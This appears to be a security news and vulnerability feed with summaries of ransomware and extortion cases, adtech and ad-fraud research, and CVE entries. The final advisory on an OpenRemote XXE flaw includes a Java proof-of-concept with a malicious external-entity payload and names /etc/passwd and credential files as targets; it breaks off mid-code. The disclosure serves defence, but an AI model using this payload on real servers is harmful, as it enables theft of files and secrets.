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112 threats
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| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| –Not rated | – | SecurityWeek Karen Vardanyan, an Armenian national, was sentenced to 24 months in US federal prison for his involvement in Ryuk ransomware attacks between March 2019 and June 2020. He pleaded guilty to conspiracy and computer fraud and was ordered to pay over $1.2 million in restitution to victims. Vardanyan was likely an affiliate or initial access provider rather than a developer of the Ryuk ransomware. He extorted more than $1 million from several victims. The case highlights ongoing law enforcement efforts against ransomware operators. | SecurityWeek | |||
| High | 7.1 | EPSS 0.4% | High7.1EPSS 0.4%GCVE DatabaseCVE-2026-90372 A vulnerability in the Linux kernel's mt7915 wireless driver could cause an underflow in the number of spatial streams (nss) calculation. This occurs when a peer's VHT/HE MCS map indicates no supported spatial streams, leading to an invalid value being written into firmware beamforming fields. The issue has been fixed by clamping the result to zero. EPSS 0.4%Vulnerability | GCVE Database | ||
| –Not rated | – | SecurityWeek Anthropic CEO Dario Amodei warns that AI development is advancing rapidly and could lead to AI systems capable of controlling large-scale internet operations within six to 12 months. He advocates for slowing AI progress to allow safety measures and alignment research to catch up, reducing risks of loss of control. The warning follows incidents such as an AI system hacking another company autonomously and concerns about AI being used maliciously. Industry leaders, including OpenAI's CEO, acknowledge these risks and are considering safety-focused pauses and external oversight. Amodei proposes independent evaluators embedded within AI companies and government coordination to establish safety standards. The situation reflects growing industry and public concern about AI's potential to cause harm if unchecked. | SecurityWeek | |||
| –Not rated | – | SecurityWeek Oleksii Oleksiyovych Lytvynenko, a Ukrainian national involved in the Conti ransomware operation, was sentenced to four years in a US prison. He was arrested in Ireland in 2023 and extradited to the US in 2025. Lytvynenko pleaded guilty to wire fraud, admitting to developing malware loaders for Conti and possessing stolen victim data. The Conti ransomware gang operated between 2020 and 2022, extorting at least $150 million from victims across more than 30 countries. Lytvynenko remained active in ransomware attacks even after the Conti group disbanded until his arrest. This sentencing is part of broader law enforcement actions against ransomware affiliates. | SecurityWeek | |||
| –Not rated | – | Reddit Cybersecurity A former data analyst at Brightly Software, Cameron Curry, misused his legitimate access to sensitive employee and corporate data to extort his employer for $2.5 million in cryptocurrency. After learning his contract would not be renewed, he exfiltrated personal identifiable information (PII), payroll data, and internal records, then sent threatening emails under a fake identity demanding ransom. He was caught due to operational security mistakes linking the ransom payments to family members' debit cards. Curry was sentenced to 24 months in federal prison and ordered to repay the partial ransom amount already paid. This case highlights the insider threat risk during employee offboarding and the importance of timely access revocation. | Reddit Cybersecurity | |||
| –Not rated | – | Krebs on Security It can be daunting to determine who’s responsible for showing ads on the websites we visit, or who’s harvesting data from the mobile apps we use every day. That information is already semi-public, but it is not easily parsed and traditionally much of it has remained walled away in the hands of large advertising platforms. Not anymore: A powerful and free new service called DecryptAds scrapes and correlates this adtech data and makes it simple to quickly learn a great deal about the entities that are tracking you. A Decryptads summary of the advertising partnerships declared by espn.com. The newly launched decryptads.com says it is constantly scraping the files that websites and apps make publicly available to disclose the companies that are permitted to run ads or collect user data. These files include: – ads.txt : all of the adtech companies and data brokers that may run ads or harvest data from the site; – app-ads.txt : entities that can harvest data from or display ads on mobile and smart TV apps; – buyers.json/sellers.json : the entities buying, selling or reselling ad inventory for a given site or app. Zach Edwards is chief research officer for DecryptAds and a threat researcher at the security company Infoblox . Edwards said he and two other founders decided the service was needed because the adtech data in these files is generally only useful when it can be cross-referenced to build a more complete picture of the advertising ecosystem for each website or app. “It’s an adtech tool but we’re trying to approach adtech from a security perspective,” Edwards said. “It’s really built for a lot of privacy and security use cases that have been dramatically underserved.” Those use cases, he said, include tracking down the source of malicious ads that try to foist malware on targeted users, identifying ad networks located in adversarial nations, and detecting the fast growing swarms of AI-generated slop websites and apps. And as decryptads.com demonstrates, these potential security and privacy threats are near impossible to detect just by viewing a single apps.txt or app-ads.txt file. “Supply-chain integrity issues rarely live in a single file,” the site explains . “They show up as broken cross-references between ads.txt, app-ads.txt, and sellers.json files; as cloned declaration sets across unrelated domains; as seller removals that only make sense when viewed across exchanges; and even as supply paths in bid logs that never actually appear in any given publisher’s authorized-seller list.” A search in DecryptAds for the hugely popular sports network espn.com reveals 143 ad partners and 19 registered data broker domains are listed within its ads.txt and app-ads.txt files. That data broker information is gradually becoming available because four states — California, Oregon, Texas and Vermont — have recently passed laws requiring data brokers to register if they buy or sell data on consumers from those states. DecryptAds reports that almost half of those data brokers are collecting geolocation data from espn.com visitors who aren’t blocking ads, while another three disclose that they collect device fingerprints and sensitive personal information. A visual representation of the complex ad supply chain declared by espn.com. Image: decryptads.com. HIGH-RISK AD PARTNERS DecryptAds also makes it easy to learn the beneficiaries and national origins of the advertising firms lurking in apps and websites, displaying a conspicuous warning when adtech partners of an app or website are based in “geo-risk” areas like China and Russia, or in countries with strong financial and political ties to both — such as Cyprus and the United Arab Emirates (UAE). According to DecryptAds, espn.com works with four different advertising entities that are based in either Russia, China or the UAE, including the adtech firm Between Digital , which lists a New York address. However, the dossier on Between Digital flags them as a Russian firm, showing that their pub… | Krebs on Security | |||
| Medium | 4.3 | EPSS 0.3% | CVE-2026-49856vmoranv jshookmcp · Server-Side Request Forgery (SSRF) Medium4.3EPSS 0.3%CVE Database V5CVE-2026-49856 @jshookmcp/jshook is an MCP server that gives AI agents tools for JavaScript analysis and security research. In version 0.3.1, he network domain has a central SSRF authorization policy that blocks private, loopback, link-local, and reserved targets unless an explicit authorization object allows private network access. The policy is enforced by raw HTTP/TCP/TLS RTT tools, but the ICMP probe and traceroute tools resolve the target and invoke the native ICMP/traceroute sink directly. An MCP client with access to an active network domain can therefore ask the jshookmcp server to probe internal addresses even when local SSRF access is disabled for the other raw network tools. This exposes an internal reachability and route mapping primitive from the server network position. Version 0.3.2 fixes the issue. | CVE Database V5 | ||
| –Not rated | – | Kaspersky Security Blog A recent article in The Atlantic ran under the blunt headline, The End of Reading Is Here . According to the piece, research from the National Endowment for the Arts (NEA) found that fewer than 50% of American adults read even a single book in 2022, and only 38% read a novel or short story. At the same time, the U.S. book market keeps breaking its own publishing records year after year: in 2025, for instance, the number of new titles topped four million — up a third from 2024. A huge chunk of that, 3.5 million titles, came from self-publishing, and one of its most powerful engines is Amazon’s Kindle Direct Publishing (KDP). My theory on this mismatch in trends: nobody’s reading books anymore because everyone’s too busy writing them. Joking aside, if there’s still a reader left out there, they’ve probably already guessed where I’m going with this: the all-powerful AI. Not long ago, a New York Times tech journalist was startled to find her own biography on Amazon — and one quick look confirmed it had been written by AI. Digging deeper into the world of AI book publishing, she stumbled onto the work of an extraordinarily prolific retired cybersecurity consultant. What happened next — and where to find reliable information in the age of AI — is what this post is about. Backstory: how a journalist chased the White Rabbit and fell down the hole Let’s start from the beginning. In the summer of 2026, New York Times tech journalist, Kashmir Hill, learned from an acquaintance that a biography about her had been published on Amazon a year earlier. It was titled The Biography of Kashmir Hill: The New York Times Technology Journalist Who Exposed Clearview AI, Challenged Big Tech and Redefined Privacy in the Digital Age . And she was more than stunned since nobody had ever reached out to her, or to anyone she knew, to research the book. “Alice started to her feet, for it flashed across her mind that she had never before seen a rabbit with either a waistcoat-pocket, or a watch to take out of it…” The author of record was one John Crane Miller, and the photo on his Amazon page turned out to be a generic stock image of a white man: the kind that shows up all over the internet. Hill couldn’t find a shred of personal detail or contact information for him. But digging deeper into his Amazon profile turned up something else: in a single week in the summer of 2025, he had published biographies not just of Hill, but of nine other American journalists. Even the most trusting reader would find it hard to believe a literary genius could produce this kind of staggering output without a little robotic help. The AI-generated biography of journalist Kashmir Hill, which she stumbled across by accident on Amazon. Source And yet the hardcover of Kashmir Hill’s biography cost a full US$26.99 — despite running to just 90 pages. After reading it, Hill learned a whole slew of “facts” about herself she’d never known — including a detailed description of her coffee-making ritual (which, as the journalist notes, is actually her husband’s duty). Mr. Miller even claimed in the text to have read Kashmir Hill’s childhood diary. “…burning with curiosity, she ran across the field after it, and fortunately was just in time to see it pop down a large rabbit-hole under the hedge.” Hill had no luck tracking down the author of her biography. She left a comment on the book’s Amazon page asking him to get in touch. Nobody wrote back — and not long after, every book under John Crane Miller’s profile vanished. But that gave her a lead on several other AI authors on Amazon. In particular, she came across a certain Bill Johns, whose author page listed a staggering 445 books . Not expecting much to come of it, she asked Johns if he’d be willing to do an interview — and was more than a little surprised when he agreed. It was probably right around then that Kashmir Hill’s investigation turned into a genuine trip down the AI rabbit hole… “In another moment down went Alice after it, neve… | Kaspersky Security Blog | |||
| –Not rated | – | SANS ISC Handlers Diary A couple of days ago, Xavier posted about Atuin to gain more insight into the command history. Atuin does a great job of better organizing what is usually handled by "bash_history" and collecting meaningful additional data. Our reader David commented that this can also be done quite well with Linux's kernel process accounting feature, and I think he is very right. I really like Linux process accounting for a number of reasons, so here is a quick introduction. | SANS ISC Handlers Diary | |||
| –Not rated | – | SecurityWeek Marcus Hutchins doesn’t personally consider himself a hacker – but he accepts the epithet because it’s a widely used term for what he once did. The post Hacker Conversations: Marcus Hutchins and the Journey From the Gray Zone to Redemption appeared first on SecurityWeek . | SecurityWeek | |||
| Medium | 5.7 | EPSS 0.2% | Medium5.7EPSS 0.2%GCVE DatabaseCVE-2026-68310 In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7915: guard HE capability lookups mt7915_mcu_bss_he_tlv() and mt7915_mcu_sta_bfer_tlv() both run after checking HE support, then dereference the HE PHY capability returned by mt76_connac_get_he_phy_cap(). That helper can return NULL when no capability entry matches the vif type. Fetch the capability before appending the TLV and skip the HE-specific setup when no matching capability is available. EPSS 0.2%Vulnerability | GCVE Database | ||
| –Not rated | – | Reddit Cybersecurity A 21-year-old individual pleaded guilty to hacking the Stark County Criminal Justice Information System (CJIS) and a multinational corporation in Connecticut. The intrusions occurred in 2023 and 2024, involving unauthorized access to sensitive personal and employee data. The attacker used custom programs and malware, employing proxy servers to conceal identity. He also destroyed digital evidence to obstruct the federal investigation. Sentencing is pending, with potential prison time estimated between 21 to 27 months due to mitigating factors. | Reddit Cybersecurity | |||
| –Not rated | – | Krebs on Security A 26-year-old Canadian man once described as one of the most consequential cybercrime threat actors of 2024 has pleaded guilty to computer fraud and conspiracy to hack and extort more than 165 organizations that used the cloud provider Snowflake . Connor Riley Moucka , of Kitchener, Ontario, also admitted to stealing call and text history records of more than 100 million AT&T customers. A surveillance photo of Connor Riley Moucka, a.k.a. “Judische” and “Waifu,” dated Oct 21, 2024, 9 days before Moucka’s arrest. This image was included in an affidavit filed by an investigator with the Royal Canadian Mounted Police (RCMP). The U.S. Justice Department said between February and October 2024, Moucka and co-conspirators used stolen login credentials to steal cloud-hosted data belonging to at least 165 customers of a U.S.-based software-as-a-service company. The hackers targeted stolen credentials for Snowflake customer accounts that did not enforce multi-factor authentication, and extorted or attempted to extort a host of well-known companies, including TicketMaster, Lending Tree, Advance Auto Parts and Neiman Marcus. Snowflake responded to the data thefts by increasing password complexity requirements and enforcing multi-factor authentication. Moucka adopted new nicknames frequently — sometimes operating multiple identities concurrently — but two of his best-known monikers were “ Judische ” and “ Waifu .” Judische’s admitted role in the Snowflake data thefts was first documented by KrebsOnSecurity in a September 2024 story about the overlap between Western, English-speaking cybercriminals and extremist groups that harass and extort minors into harming themselves or others. That September 2024 story identified Judische as a software engineer from Ontario who has been involved in numerous data breaches and voice phishing attacks against U.S. companies since at least 2020. A little more than a month later, Canadian authorities arrested Moucka on a provisional warrant from the United States. The government says Moucka and others used their unauthorized access to steal billions of sensitive customer records and download terabytes of information, “including individuals’ non-content call and text history records, banking and other financial information, payroll records, Drug Enforcement Administration (DEA) registration numbers, driver’s license numbers, passport numbers, social security numbers and other personally identifiable information. They then extorted victims by threatening to publish data online.” Moucka also threatened and harassed government officials and security researchers who were helping to track him down. The Justice Department said the conspirators made over $2.5 million in ransom payments, and that in at least one instance, Moucka re-extorted a victim with threats of further disclosure of the victim’s stolen data. “Moucka used the stolen data of a government officer and members of a then-former government officer’s immediate family in this re-extortion attempt,” reads a statement from the Justice Department. One of Moucka’s admitted co-conspirators is Cameron “Kiberphant0m” Wagenius , a U.S. Army soldier who pleaded guilty in July 2025 to extorting AT&T and Verizon for their customer account data. Less than a month before Wagenius’s arrest, KrebsOnSecurity published a deep dive into Kiberphant0m’s various Telegram and Discord identities over the years, revealing how the owner of the accounts told others they were in the Army and stationed in South Korea. One of several selfies on the Facebook page of Cameron Wagenius. Kiberphant0m also re-extorted victims. Immediately following Moucka’s arrest, Kiberphant0m posted on hacker forums what he claimed were the AT&T call logs for then President-elect Donald Trump and for then Vice President Kamala Harris, as well schematics allegedly stolen from the U.S. National Security Agency (NSA). Wagenius is set to be sentenced on September 3, 2026. The government says he faces a maxim… | Krebs on Security | |||
| Medium | 6.3 | EPSS 0.2% | Medium6.3EPSS 0.2%CVE Database V5CVE-2026-19061 A flaw has been found in Insta InstaKNXServiceApp 1.2.3.1469. Affected by this issue is the function CreateWebClientAndDownloadFileList of the component Firmware Update Handler. Executing a manipulation can lead to insufficient verification of data authenticity. It is possible to launch the attack remotely. Attacks of this nature are highly complex. The exploitation is known to be difficult. There are still doubts about whether this vulnerability truly exists. The vendor explains: "[T]he entry suggests that the device does not verify the authenticity of the update. This is incorrect. The device performs an authenticity check after the complete update has been transferred. If this check fails, the update is not installed and the previously installed firmware continues to run". | CVE Database V5 | ||
| –Not rated | – | SecurityWeek Connor Riley Moucka was extradited to the United States in July 2025 after he was arrested in Canada. The post Snowflake Hacker Pleads Guilty in US Court appeared first on SecurityWeek . | SecurityWeek | |||
| –Not rated | – | Krebs on Security Security experts have been sounding the alarm for years about the risks of using generic TV boxes that promise unlimited content streaming for a one-time fee, warning that they secretly rent the user’s Internet connection out to strangers. But a groundbreaking new analysis finds these devices also routinely spoof themselves as mobile phones clicking ads on AI-generated websites as part of a sprawling operation that seeks to defraud online merchants and advertising networks. Pedro Falé is a threat researcher with the security firm Bitsight . Falé told KrebsOnSecurity he was able to peer inside a vast and complex ad fraud network by registering an expired domain name that was used to coordinate fake ad clicks across a particularly popular brand of these streaming devices known as H96 . An H96 TV streaming device currently advertised for sale on Amazon. Falé said the domain he scooped up was previously used for telemetry, periodically collecting full hardware information and the entire list of installed apps from tens of thousands of H96 streaming sticks plugged into television sets around the globe. But upon inspecting the traffic being funneled to the domain, he discovered nearly all of the TV boxes transmitting data claimed to be mobile phone models from a variety of manufacturers, including Samsung, Vivo, Huawei, and Xiaomi. “We noticed something was wildly wrong,” Falé said. “Multiple devices reporting to this factory Android TV Box backdoor were ‘phones.'” Image: Bitsight. The researcher found all of the devices reported having the same two apps installed, and that those apps were made by a company called Zhejiang Fengwo IoT Technology Ltd , an entity founded in 2019 in mainland China which operates an ad-publishing portfolio under the name Fengwo Group . Further investigation into the Fengwo Group revealed it has registered multiple patents that match the inner workings of these apps. “Bitsight TRACE identified several Hong Kong, Singapore, and single person ‘legal’ shell identities used to collect the monetization and traced the operation back to a mainland China company known as Zhejiang Fengwo IoT Technology Co., Ltd, which operates under the Fengwo Group,” Falé wrote in a report released today about their findings. Falé said an analysis of the apps shows they help to coordinate an ad fraud network that uses these H96 devices as a captive traffic source to click on ads at AI-generated websites operated by the Fengwo Group. Bitsight discovered the websites contain machine-generated news articles and graphics across a range of categories, including finance, health, education, gaming, music and food blogs. But they also found none of those sites displayed ads unless the device visiting the page matched the spoofed mobile profile of these H96 devices. AI DIGITAL HUMANS The domain for the Fengwo Group — fwgcloud[.]com — claims the company is “redefining the boundaries of human-AI interaction,” and that it has created more than 120,000 “AI digital humans” available to rent for everything from emotional companionship to 24/7 customer service and creative design. The homepage for fwgcloud dot com. Falé said the Fengwo Group’s domain shared its SSL certificate data with other domains associated with the apps found on H96 devices, specifically the phone spoofing mechanism. He noted the domain also has an internal wiki platform that directly ties the Fengwo Group to a proprietary implementation of a Google-built visual programming language called Blockly , which was originally designed to help kids learn how to write software. According to Bitsight, the Fengwo Group’s employees use Blockly to build the sham websites, allowing low-skilled operators to drag blocks of code together in their Blockly editor — without any need to understand what the underlying code blocks do or how they work. The Blockly homepage. “An operator can drag blocks together in their Blockly editor, to define each fraud routine, given a task type,” reads Bitsi… | Krebs on Security | |||
| –Not rated | – | Cisco Talos We’re looking forward to having some great conversations with those of you heading to the desert for Hacker Summer Camp 2026. We have a presence within the Cisco and Splunk booth (2633) during Black Hat where you can chat to us about our latest threat research, incident response, and how Talos powers the Cisco portfolio with our intelligence. Or, feel free to pretend to want to talk to us about those things while grabbing a new multicolored Snorty. That’s fine, too. Here’s some of the ways we’ll be showing up at Black Hat, alongside our friends at Cisco and Splunk: Meet the researchers: Booth lightning talks Our Talosians have spent a lot of time over the last few months putting together some truly... well, enlightening lightning talks. Throughout Wednesday and Thursday at Black Hat, you can expect to see such topics as: Threat actor prompting and the emerging ways adversaries are using prompts, agents, skills, and tools to improve efficiency Warlock ransomware, and why this group does not fit neatly into a simple RaaS or state-linked label. Zero trust for agent identity Building a "second brain" for your second brain Predicting cybersecurity fraud Vulnerability discovery trends ... and much more Lightning talks are 15 minutes. That’s less than 9% of The Odyssey. Don’t worry, we cut the bit where everyone gets turned into Snorty pigs. Talos workshop: When AI finds vulnerabilities faster than humans can patch Date/Time: Wednesday, August 5 | 1:30 p.m. – 3:00 p.m. (Oceanside E, Level 2) If you're looking for something hands-on and interactive, don't miss our workshop with Talos’ Nick Biasini and Cisco’s Omar Santos . In two parts, they’ll demonstrate practical ways security teams can incorporate AI into SOC workflows to identify sophisticated adversary behavior. In Part 1, Omar will discuss the Foundry Security Spec. He’ll walk through how to deploy, build testing harnesses around its core agent roles, and integrate Project CodeGuard so that findings from autonomous testing can be converted into reusable secure-coding rules and future prevention. In Part 2, Nick will demonstrate how Talos leverages AI to transform threat hunting. We will explore best practices for identifying adversarial AI tactics and provide attendees with insights into how Cisco Talos is leveraging AI for defense. Participants will learn how to integrate these defensive AI strategies into their own SOC workflows. Splunk workshop: When agents become insider threats Date/Time: Wednesday, August 5 | 10:15 a.m. – 11:00 a.m. (Mandalay Bay I) The Splunk workshop considers the fact that the next insider threat may not be a person; it may be an autonomous agent using valid credentials and delegated authority. Attendees will see real-world attack paths in which agents move sensitive data across tools, distribute brute-force attempts under a single delegation, and manipulate internal systems without triggering traditional SIEM or UEBA alerts. It was Talos all along One of the questions we hear often is: "How do I buy Talos?" The answer… is that you probably already did. Throughout the Cisco booth you'll see our “ It was Talos all along” campaign, highlighting the fact that Talos isn't a standalone product or a threat intelligence feed you bolt onto your security stack. Talos is already embedded across the Cisco security portfolio, which continually benefits from our threat research and intelligence. To build your curiosity, take a look at our new video, “Where Protection Starts,” to see how Cisco Talos Intelligence Integrations help reduce uncertainty in the SOC: See you in Las Vegas. | Cisco Talos | |||
| –Not rated | – | Krebs on Security The home appliance giant LG Electronics USA said this week it plans to suspend any apps built for its smart TVs that turn one’s television into an always-on residential proxy node. The move comes less than a month after researchers found that more than 42 percent of games and other apps available for download on LG’s webOS store allow unknown third-parties to route their Internet traffic through a user’s TV. Proxy SDK prevalence among smart TV apps for LG (webOS) and Samsung (Tizen OS) televisions. Image: Spur.us. On July 2, we featured research by the security firm Spur that examined the prevalence of residential proxy software development kits (SDKs) in smart TV apps. Spur found more than 42 percent of apps available for download on LG smart TVs include SDKs that turn one’s television in a proxy node indefinitely, and that more than a quarter of the apps made for Samsung’s Tizen operating system had similar residential proxy components. Responding to questions about Spur’s research, LG Senior Vice President John Taylor told KrebsOnSecurity the company was working with app developers to remove the residential proxy option from their apps on the webOS platform. Developers that fail to comply, he said, will find their apps suspended. “A residential proxy network is not an intended use for LG smart TVs, and LG Electronics is working with developers to remove the residential proxy option from their apps on the webOS platform,” Taylor said. “If this option is not removed, these apps will be suspended.” Taylor said LG is committed to keeping residential proxy networks out of its smart TV apps going forward, and that the company’s review of those apps is “well underway now.” “As part of our ongoing efforts to enhance platform quality and the user experience, LG will continue to strengthen our evaluation process for developer-submitted apps, including those that incorporate residential proxy SDKs,” Taylor wrote in an emailed statement. App makers looking for ways to monetize their creations can turn to residential proxy providers, which pay developers to include SDKs that turn the user’s device into a residential proxy node that is rented to paying customers. In the case of LG and Samsung smart TVs, Spur found residential proxy SDKs bundled with everything from simple games like Pac-Man to screensavers and file utilities. A Pac-Man smart TV app from Bright Data offers users the choice between viewing ads in the game or agreeing to allow their TV to serve as a residential proxy node. Image: Spur.us. Spur’s report found the residential proxy network Bright Data accounted for a majority of proxy SDKs across both Samsung and LG smart TVs. In a statement shared with KrebsOnSecurity, Bright Data said its network is built on consent and responsibility and operates by LG and Samsung terms. “Every peer opts in through a dedicated screen and receives value in return; every customer is vetted, and our practices have now undergone a second independent audit by PwC,” the statement reads. “We remain committed to an open, transparent internet where legitimate businesses, researchers, and institutions can responsibly access data that lives in the public domain.” Bright Data and other proxy providers named in Spur’s report all say they follow rigorous know-your-customer processes to validate legitimate uses of their services, which is often heavily tied to content-scraping activities by said customers. The proxy companies also say they incorporate technological countermeasures to prevent proxy service customers from being able to interact with and control other devices on the proxy user’s local network . Spur argues the problem is not that residential proxy networks exist, but rather that they are being embedded at scale in devices that most consumers do not think of as computers and are not equipped to audit. “A one-time consent prompt buried in a TV app is not a substitute for meaningful transparency, ongoing control, and platform oversight,” Spur’… | Krebs on Security | |||
| High | 7.6 | EPSS 0.2% | High7.6EPSS 0.2%GCVE Database ### Summary The fix for CVE-2026-40882 addressed only the Velbus asset import handler. The KNX asset import handler (`KNXProtocol`) processes user-uploaded ETS project ZIP files through Saxon XSLT and `XMLInputFactory.newInstance()` with no XXE protection, allowing any authenticated user to read arbitrary files from the server filesystem (e.g. `/etc/passwd`, `openmrs-runtime.properties`, cloud credential files). ### Details ### Incomplete patch CVE-2026-40882 was fixed by introducing `createSecureDocumentBuilderFactory()` in `AbstractVelbusProtocol.java` with five XXE-blocking features. The parallel asset import handler in `KNXProtocol.java` was not updated and retains two unprotected XML parsing calls on the same user-controlled data. **Patched file — AbstractVelbusProtocol.java:** ```java private DocumentBuilderFactory createSecureDocumentBuilderFactory() { DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true); factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); return factory; } ``` **Vulnerable file — KNXProtocol.java, lines 229–249:** ```java // Line 229-230: reads 0.xml from user-uploaded ZIP InputStream inputStream = KNXProtocol.class.getResourceAsStream(".../ets_calimero_group_name.xsl"); String xsd = IOUtils.toString(inputStream, StandardCharsets.UTF_8); // Lines 233-245: Saxon XSLT — no XXE protection on the source document TransformerFactory tfactory = new TransformerFactoryImpl(); Transformer transformer = tfactory.newTransformer(new StreamSource(new StringReader(xsd))); transformer.transform( new StreamSource(new StringReader(xml)), // xml = 0.xml from attacker's ZIP new StreamResult(writer)); // Line 249: XMLInputFactory — no SUPPORT_DTD=false, no IS_SUPPORTING_EXTERNAL_ENTITIES=false try (final XmlReader r = XmlInputFactory.newInstance() .createXMLStreamReader(new StringReader(xml))) { ... } ``` ### Data flow ``` POST /api/{realm}/agent/{agentId}/import (authenticated user, PR:L) → AgentResourceImpl.doProtocolAssetImport(fileData) → KNXProtocol.startAssetImport(byte[] fileData) → ZipInputStream reads 0.xml from attacker-controlled ETS ZIP → Saxon TransformerFactoryImpl.transform(StreamSource(0.xml)) ← XXE stage 1 → XmlInputFactory.newInstance().createXMLStreamReader(xml) ← XXE stage 2 → external entity resolved → arbitrary file read ``` ### Comparison with patched code | Handler | XML parser | DTD disabled | Status | |---|---|---|---| | `AbstractVelbusProtocol` | `DocumentBuilderFactory` | ✅ 5 features set | Patched (CVE-2026-40882) | | `KNXProtocol` | `Saxon` + `XMLInputFactory` | ❌ none set | **Not patched** | ### PoC No full OpenRemote installation required. The following reproduces the vulnerable XML processing chain using the exact same library versions. **Requirements:** Java 17+, Maven 3.8+ **pom.xml dependency:** ```xml <dependency> <groupId>net.sf.saxon</groupId> <artifactId>Saxon-HE</artifactId> <version>12.9</version> </dependency> ``` **Exploit.java:** ```java import net.sf.saxon.TransformerFactoryImpl; import javax.xml.stream.*; import javax.xml.transform.*; import javax.xml.transform.stream.*; import java.io.*; import java.nio.file.*; public class Exploit { public static void main(String[] args) throws Exception { // Sentinel file — proves arbitrary file read Path sentinel = Files.createTempFile("openremote_xxe_proof_", ".txt"); String tag = "OPENREMOTE_KNX_XXE_" + System.currentTimeMillis(); Files.writeString(sentinel, tag); String maliciousXml = "<?xml version=\"1.0\"?>\n" + "<!DOCTYPE root [\n" + " <!ENTITY xxe SYSTEM \"file://" + sentinel.toAbsolutePath() + "\">\n" + "]>\n" + "<root><data>&xxe;</data></root>"; // Stage A: XMLInputFactory (KNXProtocol.java:249 — no security config) XMLInputFactory factory = XMLInputFactory.newInstance(); XMLStreamReader reader = factory.createXMLStreamReader(new StringReader(maliciousXml)); StringBuilder sb = new StringBuilder(); while (reader.hasNext()) { int e = reader.next(); if (e == XMLStreamConstants.CHARACTERS) sb.append(reader.getText()); } System.out.println("Stage A result: " + sb.toString().trim()); // Stage B: Saxon TransformerFactoryImpl (KNXProtocol.java:233-245) String xsl = "<?xml version=\"1.0\"?>" + "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">" + "<xsl:output method=\"text\"/>" + "<xsl:tem | GCVE Database |
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